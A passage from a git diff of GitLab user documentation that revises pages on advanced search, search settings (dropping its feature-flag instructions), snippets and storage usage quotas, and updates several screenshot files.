administrators](../../../administration/wikis/index.md) +- [Project wikis API](../../../api/wikis.md) +- [Group repository storage moves API](../../../api/group_repository_storage_moves.md) +- [Group wikis API](../../../api/group_wikis.md) diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md index d11f02addea..1c4423fb7b0 100644 --- a/doc/user/search/advanced_search.md +++ b/doc/user/search/advanced_search.md @@ -91,7 +91,7 @@ Examples: ### Excluding filters -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31684) in GitLab Starter 13.3. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31684) in GitLab 13.3. Filters can be inverted to **filter out** results from the result set, by prefixing the filter name with a `-` (hyphen) character, such as: diff --git a/doc/user/search/img/basic_search.png b/doc/user/search/img/basic_search.png Binary files differindex 234805d5a4f..86aab68f1f0 100644 --- a/doc/user/search/img/basic_search.png +++ b/doc/user/search/img/basic_search.png diff --git a/doc/user/search/img/dashboard_links.png b/doc/user/search/img/dashboard_links.png Binary files differdeleted file mode 100644 index d784ba8018e..00000000000 --- a/doc/user/search/img/dashboard_links.png +++ /dev/null diff --git a/doc/user/search/img/dashboard_links_v13_11.png b/doc/user/search/img/dashboard_links_v13_11.png Binary files differnew file mode 100644 index 00000000000..5f2e61eee1e --- /dev/null +++ b/doc/user/search/img/dashboard_links_v13_11.png diff --git a/doc/user/search/img/issues_mrs_shortcut.png b/doc/user/search/img/issues_mrs_shortcut.png Binary files differindex 2fe1350c806..5be8079030a 100644 --- a/doc/user/search/img/issues_mrs_shortcut.png +++ b/doc/user/search/img/issues_mrs_shortcut.png diff --git a/doc/user/search/img/project_search_dropdown.png b/doc/user/search/img/project_search_dropdown.png Binary files differdeleted file mode 100644 index e0b922a186b..00000000000 --- a/doc/user/search/img/project_search_dropdown.png +++ /dev/null diff --git a/doc/user/search/index.md b/doc/user/search/index.md index f327288ea0a..db89dddaf14 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -12,9 +12,14 @@ type: index, reference, howto To search through issues and merge requests in multiple projects, use the **Issues** or **Merge Requests** links in the top-right part of your screen. These instructions are valid for both. -The number displayed on their right represents the number of issues and merge requests assigned to you: +The numbers in the right-hand side of the top menu indicate how many issues, merge requests, +and to-do items are assigned to you: - + + +- **(issues)** **Issues**: The open issues assigned to you. +- **(merge-request-open)** **Merge requests**: The [merge requests](../project/merge_requests/index.md) assigned to you. +- **(todo-done)** **To-do items**: The [to-do items](../todos.md) assigned to you. When you click **Issues**, GitLab shows the opened issues assigned to you: @@ -282,7 +287,6 @@ search, or choose a specific group or project. To search through code or other documents in a single project, you can use the search field on the top-right of your screen while the project page is open. -  ### SHA search @@ -302,37 +306,12 @@ GitLab instance. ## Search settings -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292941) in GitLab 13.8. -> - [Added to Group, Admin, and User settings](https://gitlab.com/groups/gitlab-org/-/epics/4842) in GitLab 13.9 -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-search-settings). **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292941) in GitLab 13.8 behind a feature flag, disabled by default. +> - [Added to Group, Admin, and User settings](https://gitlab.com/groups/gitlab-org/-/epics/4842) in GitLab 13.9. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/294025) in GitLab 13.11. -You can search inside a Project, Group, Admin, or User’s settings by entering +You can search inside a Project, Group, Admin, or User's settings by entering a search term in the search box located at the top of the page. The search results appear highlighted in the sections that match the search term.  - -### Enable or disable Search settings **(FREE SELF)** - -Search settings is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. - -To enable it: - -```ruby -Feature.enable(:search_settings_in_page) -``` - -To disable it: - -```ruby -Feature.disable(:search_settings_in_page) -``` diff --git a/doc/user/snippets.md b/doc/user/snippets.md index c087e68f000..45751e14cb8 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -14,6 +14,8 @@ You can [comment on](#comment-on-snippets), [clone](#clone-snippets), and [syntax highlighting](#filenames), [embedding](#embed-snippets), [downloading](#download-snippets), and you can maintain your snippets with the [snippets API](../api/snippets.md). + + GitLab provides two types of snippets: - **Personal snippets**: Created independent of any project. @@ -57,7 +59,7 @@ To discover all snippets visible to you in GitLab, you can: - **View all snippets visible to you**: In the top navigation bar of your GitLab instance, go to **More > Snippets** to view your snippets dashboard. -- **Visit [GitLab snippets](http://snippets.gitlab.com/)** for your snippets on GitLab.com. +- **Visit [GitLab snippets](https://gitlab.com/dashboard/snippets)** for your snippets on GitLab.com. - **Explore all public snippets**: In the top navigation bar of your GitLab instance, go to **More > Snippets** and select **Explore snippets** to view [all public snippets](https://gitlab.com/explore/snippets). @@ -123,7 +125,16 @@ A single snippet can support up to 10 files, which helps keep related files toge - A `gulpfile.js` file and a `package.json` file, which together can be used to bootstrap a project and manage its dependencies. -You can manage these by using Git (because they're [versioned](#versioned-snippets) +If you need more than 10 files for your snippet, we recommend you create a +[wiki](project/wiki/index.md) instead. Wikis are available for projects at all +subscription levels, and [groups](project/wiki/index.md#group-wikis) for +[GitLab Premium](https://about.gitlab.com/pricing). + +Snippets with multiple files display a file count in the [snippet list](http://snippets.gitlab.com/): + + + +You can manage snippets with Git (because they're [versioned](#versioned-snippets) by a Git repository), through the [Snippets API](../api/snippets.md), and in the GitLab UI. To add a new file to your snippet through the GitLab UI: diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md index 16ba2582101..07a5eda8cfb 100644 --- a/doc/user/usage_quotas.md +++ b/doc/user/usage_quotas.md @@ -5,7 +5,7 @@ group: Utilization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Storage usage quota +# Storage usage quota **(FREE SAAS)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in GitLab 12.0. > - Moved to GitLab Free. |
